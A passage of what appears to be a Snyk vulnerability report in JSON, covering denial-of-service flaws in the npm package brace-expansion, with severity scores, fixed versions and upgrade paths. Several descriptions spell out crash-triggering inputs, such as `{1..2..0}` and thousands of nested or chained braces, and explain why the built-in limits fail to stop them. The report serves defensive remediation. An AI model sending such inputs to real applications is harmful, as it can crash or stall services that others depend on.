"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
